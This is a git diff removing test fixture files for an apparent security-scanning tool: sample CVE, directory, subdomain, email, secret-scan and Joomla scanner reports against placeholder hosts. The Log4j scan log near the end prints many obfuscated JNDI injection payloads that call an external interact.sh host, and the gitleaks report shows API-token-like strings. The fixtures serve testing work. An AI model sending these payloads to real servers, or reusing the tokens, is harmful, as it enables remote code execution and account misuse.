allows arbitrary changes to .php files. This is related to wp-admin/includes/ajax-actions.php and wp-includes/comment.php.", - "references": [ - "https://wordpress.org/support/wordpress-version/version-5-1-1/", - "https://wordpress.org/news/2019/03/wordpress-5-1-1-security-and-maintenance-release/", - "http://www.securityfocus.com/bid/107411", - "https://blog.ripstech.com/2019/wordpress-csrf-to-rce/", - "https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b", - "https://lists.debian.org/debian-lts-announce/2019/03/msg00044.html" - ], - "type": "Execute Code, Cross Site Scripting, CSRF " - }, - { - "cve": "CVE-2019-8942", - "cvss_score": "6.5", - "cwe_id": "94", - "date": "2019-02-19", - "fixed_in": "N/A", - "name": "WordPress before 4.9.9 and 5.x before 5.0.1 allows remote code execution because an _wp_attached_file Post Meta entry can be changed to an arbitrary string, such as one ending with a .jpg?file.php substring. An attacker with author privileges can execute arbitrary code by uploading a crafted image containing PHP code in the Exif metadata. Exploitation can leverage CVE-2019-8943.", - "references": [ - "https://www.exploit-db.com/exploits/46662/", - "https://www.exploit-db.com/exploits/46511/", - "https://www.debian.org/security/2019/dsa-4401", - "https://lists.debian.org/debian-lts-announce/2019/03/msg00044.html", - "http://www.rapid7.com/db/modules/exploit/multi/http/wp_crop_rce", - "http://www.securityfocus.com/bid/107088", - "https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/", - "http://packetstormsecurity.com/files/152396/WordPress-5.0.0-crop-image-Shell-Upload.html" - ], - "type": "Execute Code" - }, - { - "cve": "CVE-2018-20153", - "cvss_score": "3.5", - "cwe_id": "79", - "date": "2018-12-14", - "fixed_in": "N/A", - "name": "In WordPress before 4.9.9 and 5.x before 5.0.1, contributors could modify new comments made by users with greater privileges, possibly causing XSS.", - "references": [ - "https://www.zdnet.com/article/wordpress-plugs-bug-that-led-to-google-indexing-some-user-passwords/", - "https://codex.wordpress.org/Version_4.9.9", - "https://wordpress.org/support/wordpress-version/version-5-0-1/", - "http://www.securityfocus.com/bid/106220", - "https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/" - ], - "type": "Cross Site Scripting" - }, - { - "cve": "CVE-2018-20152", - "cvss_score": "5.0", - "cwe_id": "20", - "date": "2018-12-14", - "fixed_in": "N/A", - "name": "In WordPress before 4.9.9 and 5.x before 5.0.1, authors could bypass intended restrictions on post types via crafted input.", - "references": [ - "https://wordpress.org/support/wordpress-version/version-5-0-1/", - "http://www.securityfocus.com/bid/106220", - "https://codex.wordpress.org/Version_4.9.9", - "https://www.zdnet.com/article/wordpress-plugs-bug-that-led-to-google-indexing-some-user-passwords/", - "https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/" - ], - "type": "Bypass a restriction or similar" - }, - { - "cve": "CVE-2018-20151", - "cvss_score": "5.0", - "cwe_id": "200", - "date": "2018-12-14", - "fixed_in": "N/A", - "name": "In WordPress before 4.9.9 and 5.x before 5.0.1, the user-activation page could be read by a search engine&#039;s web crawler if an unusual configuration were chosen. The search engine could then index and display a user&#039;s e-mail address and (rarely) the password that was generated by default.", - "references": [ - "https://www.zdnet.com/article/wordpress-plugs-bug-that-led-to-google-indexing-some-user-passwords/", - "http://www.securityfocus.com/bid/106220", - "https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/", - "https://codex.wordpress.org/Version_4.9.9", - "https://wordpress.org/support/wordpress-version/version-5-0-1/" - ], - "type": "Obtain Information" - }, - { - "cve": "CVE-2018-20150", - "cvss_score": "4.3", - "cwe_id": "79", - "date": "2018-12-14", - "fixed_in": "N/A", - "name": "In WordPress before 4.9.9 and 5.x before 5.0.1, crafted URLs could trigger XSS for certain use cases involving plugins.", - "references": [ - "https://www.zdnet.com/article/wordpress-plugs-bug-that-led-to-google-indexing-some-user-passwords/", - "https://wordpress.org/support/wordpress-version/version-5-0-1/", - "https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/", - "http://www.securityfocus.com/bid/106220", - "https://codex.wordpress.org/Version_4.9.9", - "https://github.com/WordPress/WordPress/commit/fb3c6ea0618fcb9a51d4f2c1940e9efcd4a2d460" - ], - "type": "Cross Site Scripting" - }, - { - "cve": "CVE-2018-20149", - "cvss_score": "3.5", - "cwe_id": "79", - "date": "2018-12-14", - "fixed_in": "N/A", - "name": "In WordPress before 4.9.9 and 5.x before 5.0.1, when the Apache HTTP Server is used, authors could upload crafted files that bypass intended MIME type restrictions, leading to XSS, as demonstrated by a .jpg file without JPEG data.", - "references": [ - "https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/", - "https://www.zdnet.com/article/wordpress-plugs-bug-that-led-to-google-indexing-some-user-passwords/", - "https://wordpress.org/support/wordpress-version/version-5-0-1/", - "http://www.securityfocus.com/bid/106220", - "https://codex.wordpress.org/Version_4.9.9", - "https://github.com/WordPress/WordPress/commit/246a70bdbfac3bd45ff71c7941deef1bb206b19a" - ], - "type": "Cross Site Scripting, Bypass a restriction or similar" - }, - { - "cve": "CVE-2018-20148", - "cvss_score": "7.5", - "cwe_id": "502", - "date": "2018-12-14", - "fixed_in": "N/A", - "name": "In WordPress before 4.9.9 and 5.x before 5.0.1, contributors could conduct PHP object injection attacks via crafted metadata in a wp.getMediaItem XMLRPC call. This is caused by mishandling of serialized data at phar:// URLs in the wp_get_attachment_thumb_file function in wp-includes/post.php.", - "references": [ - "https://www.zdnet.com/article/wordpress-vulnerability-affects-a-third-of-most-popular-websites-online/", - "http://www.securityfocus.com/bid/106220", - "https://blog.secarma.co.uk/labs/near-phar-dangerous-unserialization-wherever-you-are", - "https://codex.wordpress.org/Version_4.9.9", - "https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/", - "https://wordpress.org/support/wordpress-version/version-5-0-1/", - "https://www.zdnet.com/article/wordpress-plugs-bug-that-led-to-google-indexing-some-user-passwords/" - ], - "type": "" - }, - { - "cve": "CVE-2018-20147", - "cvss_score": "5.5", - "cwe_id": "287", - "date": "2018-12-14", - "fixed_in": "N/A", - "name": "In WordPress before 4.9.9 and 5.x before 5.0.1, authors could modify metadata to bypass intended restrictions on deleting files.", - "references": [ - "https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/", - "https://wordpress.org/support/wordpress-version/version-5-0-1/", - "https://www.debian.org/security/2019/dsa-4401", - "https://www.zdnet.com/article/wordpress-plugs-bug-that-led-to-google-indexing-some-user-passwords/", - "http://www.securityfocus.com/bid/106220", - "https://codex.wordpress.org/Version_4.9.9", - "https://lists.debian.org/debian-lts-announce/2019/02/msg00019.html" - ], - "type": "Bypass a restriction or similar" - }, - { - "cve": "CVE-2018-12895", - "cvss_score": "6.5", - "cwe_id": "22", - "date": "2018-06-26", - "fixed_in": "N/A", - "name": "WordPress through 4.9.6 allows Author users to execute arbitrary code by leveraging directory traversal in the wp-admin/post.php thumb parameter, which is passed to the PHP unlink function and can delete the wp-config.php file. This is related to missing filename validation in the wp-includes/post.php wp_delete_attachment function. The attacker must have capabilities for files and posts that are normally available only to the Author, Editor, and Administrator roles. The attack methodology is to delete wp-config.php and then launch a new installation process to increase the attacker&#039;s privileges.", - "references": [ - "https://lists.debian.org/debian-lts-announce/2018/07/msg00046.html", - "https://www.debian.org/security/2018/dsa-4250", - "http://www.securityfocus.com/bid/104569", - "https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/" - ], - "type": "Execute Code, Directory traversal" - }, - { - "cve": "CVE-2017-1000600", - "cvss_score": "6.5", - "cwe_id": "20", - "date": "2018-09-06", - "fixed_in": "N/A", - "name": "WordPress version &lt;4.9 contains a CWE-20 Input Validation vulnerability in thumbnail processing that can result in remote code execution. This attack appears to be exploitable via thumbnail upload by an authenticated user and may require additional plugins in order to be exploited however this has not been confirmed at this time. This issue appears to have been partially, but not completely fixed in WordPress 4.9", - "references": [ - "http://www.securityfocus.com/bid/105305", - "https://www.theregister.co.uk/2018/08/20/php_unserialisation_wordpress_vuln/", - "https://youtu.be/GePBmsNJw6Y?t=1763" - ], - "type": "Execute Code" - } - ] - } -} \ No newline at end of file diff --git a/src/backend/testing/data/reports/cmseek/wordpress.json b/src/backend/testing/data/reports/cmseek/wordpress.json deleted file mode 100644 index fcc16ce65..000000000 --- a/src/backend/testing/data/reports/cmseek/wordpress.json +++ /dev/null @@ -1,14 +0,0 @@ -{ - "cms_id": "wp", - "cms_name": "WordPress", - "cms_url": "https://wordpress.org", - "detection_param": "generator", - "last_scanned": "2022-02-18 17:00:02.449994", - "url": "https://10.10.10.10/", - "wp_license": "https://10.10.10.10//license.txt", - "wp_plugins": "orbisius-simple-notice Version 1.0,qs_site_app Version 1642244787,monarch Version 1.4.14,", - "wp_readme_file": "https://10.10.10.10//readme.html", - "wp_themes": "primer Version 1590756562,qs-on-primer Version 1617278312,", - "wp_users": "wpdemohelper1,superadmin,wpdemo,", - "wp_version": "5.8.3" -} \ No newline at end of file diff --git a/src/backend/testing/data/reports/dirsearch/default.json b/src/backend/testing/data/reports/dirsearch/default.json deleted file mode 100644 index afefb2a66..000000000 --- a/src/backend/testing/data/reports/dirsearch/default.json +++ /dev/null @@ -1,144 +0,0 @@ -{ - "info": { - "args": "dirsearch.py -u http://10.10.10.10 -o /home/kali/Desktop/testing/dirsearch/default.json --format=json", - "time": "Fri Feb 18 16:49:03 2022" - }, - "results": [ - { - "http://10.10.10.10:80/": [ - { - "content-length": 277, - "path": "/.ht_wsr.txt", - "redirect": null, - "status": 403 - }, - { - "content-length": 277, - "path": "/.htaccess.sample", - "redirect": null, - "status": 403 - }, - { - "content-length": 277, - "path": "/.htaccess_orig", - "redirect": null, - "status": 403 - }, - { - "content-length": 277, - "path": "/.htaccess.bak1", - "redirect": null, - "status": 403 - }, - { - "content-length": 277, - "path": "/.htaccess_sc", - "redirect": null, - "status": 403 - }, - { - "content-length": 277, - "path": "/.htaccess.save", - "redirect": null, - "status": 403 - }, - { - "content-length": 277, - "path": "/.htaccess.orig", - "redirect": null, - "status": 403 - }, - { - "content-length": 277, - "path": "/.htaccess_extra", - "redirect": null, - "status": 403 - }, - { - "content-length": 277, - "path": "/.htm", - "redirect": null, - "status": 403 - }, - { - "content-length": 277, - "path": "/.htaccessBAK", - "redirect": null, - "status": 403 - }, - { - "content-length": 277, - "path": "/.httr-oauth", - "redirect": null, - "status": 403 - }, - { - "content-length": 277, - "path": "/.htaccessOLD2", - "redirect": null, - "status": 403 - }, - { - "content-length": 277, - "path": "/.html", - "redirect": null, - "status": 403 - }, - { - "content-length": 277, - "path": "/.htaccessOLD", - "redirect": null, - "status": 403 - }, - { - "content-length": 277, - "path": "/.htpasswds", - "redirect": null, - "status": 403 - }, - { - "content-length": 277, - "path": "/.htpasswd_test", - "redirect": null, - "status": 403 - }, - { - "content-length": 277, - "path": "/.php", - "redirect": null, - "status": 403 - }, - { - "content-length": 1691, - "path": "/assets/", - "redirect": null, - "status": 200 - }, - { - "content-length": 313, - "path": "/assets", - "redirect": "http://10.10.10.10/assets/", - "status": 301 - }, - { - "content-length": 33560, - "path": "/index.html", - "redirect": null, - "status": 200 - }, - { - "content-length": 277, - "path": "/server-status", - "redirect": null, - "status": 403 - }, - { - "content-length": 277, - "path": "/server-status/", - "redirect": null, - "status": 403 - } - ] - } - ] -} \ No newline at end of file diff --git a/src/backend/testing/data/reports/emailfinder/default.txt b/src/backend/testing/data/reports/emailfinder/default.txt deleted file mode 100644 index 0a6a18cbe..000000000 --- a/src/backend/testing/data/reports/emailfinder/default.txt +++ /dev/null @@ -1,31 +0,0 @@ -.,:::::: .-:::::':::. :::.:::::::-. :::::::.. -;;;;'''' ;;;'''' `;;;;, `;;; ;;, `';,;;;;``;;;; - [[cccc [[[,,== [[[[[. '[[ `[[ [[ [[[,/[[[' - $$"""" `$$$"`` $$$ "Y$c$$ $$, $$ $$$$$$c - 888oo,__ 888 888 Y88 888_,o8P' 888b "88bo, - """"YUMMM"MM, MMM YM MMMMP"` MMMM "W" - -[+] Bing discovered 5 emails -|_ Author: @JosueEncinar -|_ Description: Search emails from a domain through search engines. -|_ Version: 0.3.0b -|_ Usage: emailfinder -d domain.com - -Searching in google... -Searching in bing... -Searching in baidu... -Searching in yandex... -[+] bing done! -[!] yandex error YandexDetection, Robot detected -[+] Google discovered 1 emails -[+] google done! -[i] Baidu did not discover any email IDs -[+] baidu done! - -Total emails: 5 ----------------- -support@test.com -education@test.com -ceo@test.com -someone@test.com -other@test.com \ No newline at end of file diff --git a/src/backend/testing/data/reports/emailharvester/default.txt b/src/backend/testing/data/reports/emailharvester/default.txt deleted file mode 100644 index 56a021e81..000000000 --- a/src/backend/testing/data/reports/emailharvester/default.txt +++ /dev/null @@ -1,5 +0,0 @@ -support@test.com -education@test.com -ceo@test.com -someone@test.com -other@test.com diff --git a/src/backend/testing/data/reports/gitleaks/leaky-repo.json b/src/backend/testing/data/reports/gitleaks/leaky-repo.json deleted file mode 100644 index 81a52d5cf..000000000 --- a/src/backend/testing/data/reports/gitleaks/leaky-repo.json +++ /dev/null @@ -1,128 +0,0 @@ -[ - { - "Description": "Generic API Key", - "StartLine": 4, - "EndLine": 4, - "StartColumn": 10, - "EndColumn": 58, - "Match": "token: \"7f9cc25de23d1a255720b0ae4551f4044d600f46\"", - "Secret": "7f9cc25de23d1a255720b0ae4551f4044d600f46", - "File": "hub", - "Commit": "9f1468c79df2cf13c66041692ca7f044a27a874b", - "Entropy": 3.7134607, - "Author": "ASDF", - "Email": "git@asdf.com", - "Date": "2019-11-15T00:28:47Z", - "Message": "Updated some secrets, flagged secrets as informative or risk", - "Tags": [], - "RuleID": "generic-api-key" - }, - { - "Description": "Slack token", - "StartLine": 23, - "EndLine": 23, - "StartColumn": 26, - "EndColumn": 42, - "Match": "xoxp-858723095049", - "Secret": "xoxp-858723095049", - "File": ".bash_profile", - "Commit": "903a9caba59d2514ca1aab7129fece6be3b9b849", - "Entropy": 0, - "Author": "ASDF", - "Email": "git@asdf.com", - "Date": "2019-11-07T05:56:54Z", - "Message": "Initial Commit", - "Tags": [], - "RuleID": "slack-access-token" - }, - { - "Description": "Generic API Key", - "StartLine": 22, - "EndLine": 22, - "StartColumn": 25, - "EndColumn": 76, - "Match": "API_TOKEN='51e61afee2c2667123fc9ed160a0a20b330c8f74'", - "Secret": "51e61afee2c2667123fc9ed160a0a20b330c8f74", - "File": ".bash_profile", - "Commit": "903a9caba59d2514ca1aab7129fece6be3b9b849", - "Entropy": 3.7964394, - "Author": "ASDF", - "Email": "git@asdf.com", - "Date": "2019-11-07T05:56:54Z", - "Message": "Initial Commit", - "Tags": [], - "RuleID": "generic-api-key" - }, - { - "Description": "Generic API Key", - "StartLine": 106, - "EndLine": 106, - "StartColumn": 19, - "EndColumn": 65, - "Match": "API_KEY=\"38c47f19e349153fa963bb3b3212fe8e-us11\"", - "Secret": "38c47f19e349153fa963bb3b3212fe8e-us11", - "File": ".bashrc", - "Commit": "903a9caba59d2514ca1aab7129fece6be3b9b849", - "Entropy": 3.8002923, - "Author": "ASDF", - "Email": "git@asdf.com", - "Date": "2019-11-07T05:56:54Z", - "Message": "Initial Commit", - "Tags": [], - "RuleID": "generic-api-key" - }, - { - "Description": "Generic API Key", - "StartLine": 109, - "EndLine": 109, - "StartColumn": 23, - "EndColumn": 70, - "Match": "TOKEN=\"c77e01c1e89682e4d4b94a059a7fd2b37ab326ed\"", - "Secret": "c77e01c1e89682e4d4b94a059a7fd2b37ab326ed", - "File": ".bashrc", - "Commit": "903a9caba59d2514ca1aab7129fece6be3b9b849", - "Entropy": 3.908695, - "Author": "ASDF", - "Email": "git@asdf.com", - "Date": "2019-11-07T05:56:54Z", - "Message": "Initial Commit", - "Tags": [], - "RuleID": "generic-api-key" - }, - { - "Description": "RSA private key", - "StartLine": 1, - "EndLine": 1, - "StartColumn": 1, - "EndColumn": 31, - "Match": "-----BEGIN RSA PRIVATE KEY-----", - "Secret": "-----BEGIN RSA PRIVATE KEY-----", - "File": ".ssh/id_rsa", - "Commit": "903a9caba59d2514ca1aab7129fece6be3b9b849", - "Entropy": 0, - "Author": "ASDF", - "Email": "git@asdf.com", - "Date": "2019-11-07T05:56:54Z", - "Message": "Initial Commit", - "Tags": [], - "RuleID": "RSA-PK" - }, - { - "Description": "PKCS8 private key", - "StartLine": 1, - "EndLine": 1, - "StartColumn": 1, - "EndColumn": 27, - "Match": "-----BEGIN PRIVATE KEY-----", - "Secret": "-----BEGIN PRIVATE KEY-----", - "File": "misc-keys/cert-key.pem", - "Commit": "903a9caba59d2514ca1aab7129fece6be3b9b849", - "Entropy": 0, - "Author": "ASDF", - "Email": "git@asdf.com", - "Date": "2019-11-07T05:56:54Z", - "Message": "Initial Commit", - "Tags": [], - "RuleID": "PKCS8-PK" - } -] diff --git a/src/backend/testing/data/reports/gobuster/dir.txt b/src/backend/testing/data/reports/gobuster/dir.txt deleted file mode 100644 index e781e17f7..000000000 --- a/src/backend/testing/data/reports/gobuster/dir.txt +++ /dev/null @@ -1,13 +0,0 @@ -/.gitignore (Status: 200) [Size: 57] -/.hta (Status: 403) [Size: 290] -/.htaccess (Status: 403) [Size: 295] -/.htpasswd (Status: 403) [Size: 295] -/config (Status: 301) [Size: 314] [--> http://example.com/config/] -/docs (Status: 301) [Size: 312] [--> http://example.com/docs/] -/external (Status: 301) [Size: 316] [--> http://example.com/external/] -/favicon.ico (Status: 200) [Size: 1406] -/index.php (Status: 302) [Size: 0] [--> login.php] -/php.ini (Status: 200) [Size: 148] -/phpinfo.php (Status: 302) [Size: 0] [--> login.php] -/robots.txt (Status: 200) [Size: 26] -/server-status (Status: 403) [Size: 299] diff --git a/src/backend/testing/data/reports/gobuster/dns.txt b/src/backend/testing/data/reports/gobuster/dns.txt deleted file mode 100644 index 358d354c0..000000000 --- a/src/backend/testing/data/reports/gobuster/dns.txt +++ /dev/null @@ -1,2 +0,0 @@ -Found: chat.example.com [10.10.10.10,10.10.10.11] -Found: echo.example.com [10.10.10.10,10.10.10.11] diff --git a/src/backend/testing/data/reports/gobuster/vhost.txt b/src/backend/testing/data/reports/gobuster/vhost.txt deleted file mode 100644 index d63c2dac6..000000000 --- a/src/backend/testing/data/reports/gobuster/vhost.txt +++ /dev/null @@ -1,23 +0,0 @@ -Found: dns:monportail.example.com Status: 400 [Size: 427] -Found: http://mobility.example.com Status: 400 [Size: 427] -Found: http://enquetes.example.com Status: 200 [Size: 427] -Found: http://partner.example.com Status: 400 [Size: 427] -Found: https:.example.com Status: 400 [Size: 427] -Found: https://archives.example.com Status: 400 [Size: 427] -Found: https://assurance.example.com Status: 400 [Size: 427] -Found: https://collaboratif.example.com Status: 400 [Size: 427] -Found: https://conseil.example.com Status: 400 [Size: 427] -Found: https://ee.example.com Status: 400 [Size: 427] -Found: https://escale.example.com Status: 400 [Size: 427] -Found: https://idees.example.com Status: 400 [Size: 427] -Found: https://lvelizy.example.com Status: 400 [Size: 427] -Found: https://igc.example.com Status: 400 [Size: 427] -Found: https://mobility.example.com Status: 400 [Size: 427] -Found: https://nomade.example.com Status: 400 [Size: 427] -Found: https://partner.example.com Status: 400 [Size: 427] -Found: https://pam.example.com Status: 400 [Size: 427] -Found: https://protocoltraining.example.com Status: 400 [Size: 427] -Found: https://scm.example.com Status: 400 [Size: 427] -Found: https://sft.example.com Status: 400 [Size: 427] -Found: https://webpam.example.com Status: 400 [Size: 427] -Found: https://www.example.com Status: 400 [Size: 427] diff --git a/src/backend/testing/data/reports/joomscan/exploitable.txt b/src/backend/testing/data/reports/joomscan/exploitable.txt deleted file mode 100644 index 77a0bc78c..000000000 --- a/src/backend/testing/data/reports/joomscan/exploitable.txt +++ /dev/null @@ -1,90 +0,0 @@ - - ____ _____ _____ __ __ ___ ___ __ _ _ - (_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( ) - .-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) ( - \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_) - (1337.today) - - --=[OWASP JoomScan - +---++---==[Version : 0.0.7 - +---++---==[Update Date : [2018/09/23] - +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo - --=[Code name : Self Challenge - @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP - -Processing http://10.10.10.10/ ... - - - -[+] FireWall Detector -[++] Firewall not detected - -[+] Detecting Joomla Version -[++] Joomla 3.4.5 - -[+] Core Joomla Vulnerability -[++] Joomla! 3.4.4 < 3.6.4 - Account Creation / Privilege Escalation -CVE : CVE-2016-8870 , CVE-2016-8869 -EDB : https://www.exploit-db.com/exploits/40637/ - -Joomla! Core Remote Privilege Escalation Vulnerability -CVE : CVE-2016-9838 -EDB : https://www.exploit-db.com/exploits/41157/ - -Joomla! Directory Traversal Vulnerability -CVE : CVE-2015-8565 -https://developer.joomla.org/security-centre/635-20151214-core-directory-traversal-2.html - -Joomla! Directory Traversal Vulnerability -CVE : CVE-2015-8564 -https://developer.joomla.org/security-centre/634-20151214-core-directory-traversal.html - -Joomla! Core Cross Site Request Forgery Vulnerability -CVE : CVE-2015-8563 -https://developer.joomla.org/security-centre/633-20151214-core-csrf-hardening.html - -Joomla! Core Security Bypass Vulnerability -CVE : CVE-2016-9081 -https://developer.joomla.org/security-centre/661-20161003-core-account-modifications.html - -Joomla! Core Arbitrary File Upload Vulnerability -CVE : CVE-2016-9836 -https://developer.joomla.org/security-centre/665-20161202-core-shell-upload.html - -Joomla! Information Disclosure Vulnerability -CVE : CVE-2016-9837 -https://developer.joomla.org/security-centre/666-20161203-core-information-disclosure.html - -PHPMailer Remote Code Execution Vulnerability -CVE : CVE-2016-10033 -https://www.rapid7.com/db/modules/exploit/multi/http/phpmailer_arg_injection -https://github.com/opsxcq/exploit-CVE-2016-10033 -EDB : https://www.exploit-db.com/exploits/40969/ - -PPHPMailer Incomplete Fix Remote Code Execution Vulnerability -CVE : CVE-2016-10045 -https://www.rapid7.com/db/modules/exploit/multi/http/phpmailer_arg_injection -EDB : https://www.exploit-db.com/exploits/40969/ - - - -[+] Checking apache info/status files -[++] Readable info/status files are not found - -[+] admin finder -[++] Admin page : http://10.10.10.10/administrator/ - -[+] Checking robots.txt existing -[++] robots.txt is not found - -[+] Finding common backup files name -[++] Backup files are not found - -[+] Finding common log files name -[++] error log is not found - -[+] Checking sensitive config.php.x file -[++] Readable config files are not found - - -Your Report : reports/10.10.10.10/ diff --git a/src/backend/testing/data/reports/joomscan/not-exploitable.txt b/src/backend/testing/data/reports/joomscan/not-exploitable.txt deleted file mode 100644 index 8fef95587..000000000 --- a/src/backend/testing/data/reports/joomscan/not-exploitable.txt +++ /dev/null @@ -1,57 +0,0 @@ - - ____ _____ _____ __ __ ___ ___ __ _ _ - (_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( ) - .-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) ( - \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_) - (1337.today) - - --=[OWASP JoomScan - +---++---==[Version : 0.0.7 - +---++---==[Update Date : [2018/09/23] - +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo - --=[Code name : Self Challenge - @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP - -Processing http://10.10.10.10/ ... - - - -[+] FireWall Detector -[++] Firewall not detected - -[+] Detecting Joomla Version -[++] Joomla 3.7.0 - -[+] Core Joomla Vulnerability -[++] Target Joomla core is not vulnerable - -[+] Checking apache info/status files -[++] Readable info/status files are not found - -[+] admin finder -[++] Admin page : http://10.10.10.10/administrator/ - -[+] Checking robots.txt existing -[++] robots.txt is not found - -[+] Finding common backup files name -[++] Backup file is found -Path : http://10.10.10.10/backup/config.php.bak - -[+] Finding common log files name -[++] error log is not found - -[+] Checking sensitive config.php.x file -[++] Readable config file is found found -config file path : http://10.10.10.10/config.php - -[+] Checking Directory Listing -[++] directory has directory listing : http://10.10.10.10/error.php - -[+] Full Path Disclosure (FPD) -[++] Full Path Disclosure (FPD) in http://10.10.10.10/static - -[+] Checking Debug Mode status -[++] Debug mode Enabled : http://10.10.10.10/ - -Your Report : reports/10.10.10.10/ \ No newline at end of file diff --git a/src/backend/testing/data/reports/joomscan/not-joomla.txt b/src/backend/testing/data/reports/joomscan/not-joomla.txt deleted file mode 100644 index 3741d7fe3..000000000 --- a/src/backend/testing/data/reports/joomscan/not-joomla.txt +++ /dev/null @@ -1,24 +0,0 @@ - - ____ _____ _____ __ __ ___ ___ __ _ _ - (_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( ) - .-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) ( - \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_) - (1337.today) - - --=[OWASP JoomScan - +---++---==[Version : 0.0.7 - +---++---==[Update Date : [2018/09/23] - +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo - --=[Code name : Self Challenge - @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP - -Processing http://10.10.10.10/ ... - - - -[+] FireWall Detector -[++] Firewall not detected - -[+] Detecting Joomla Version -[++] The target is not alive! - diff --git a/src/backend/testing/data/reports/log4j_scan/cve_2021_44228.txt b/src/backend/testing/data/reports/log4j_scan/cve_2021_44228.txt deleted file mode 100644 index 7d716c4a7..000000000 --- a/src/backend/testing/data/reports/log4j_scan/cve_2021_44228.txt +++ /dev/null @@ -1,34 +0,0 @@ -[•] CVE-2021-44228 - Apache Log4j RCE Scanner -[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform. -[•] Secure your External Attack Surface with FullHunt.io. -[•] Initiating DNS callback server (interact.sh). -[%] Checking for Log4j RCE CVE-2021-44228. -[•] URL: http://192.168.1.38:8080/ -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${jndi:ldap://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${::-j}ndi:rmi://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${jndi:rmi://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${jndi:rmi://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh}/ -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${lower:jndi}:${lower:rmi}://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${lower:${lower:jndi}}:${lower:rmi}://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${jndi:dns://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${jnd${123%25ff:-${123%25ff:-i:}}ldap://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${jndi:dns://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${j${k8s:k5:-ND}i:ldap://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${j${k8s:k5:-ND}i:ldap${sd:k5:-:}//192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${j${k8s:k5:-ND}i${sd:k5:-:}ldap${sd:k5:-:}//192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}ldap{sd:k5:-:}//192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: 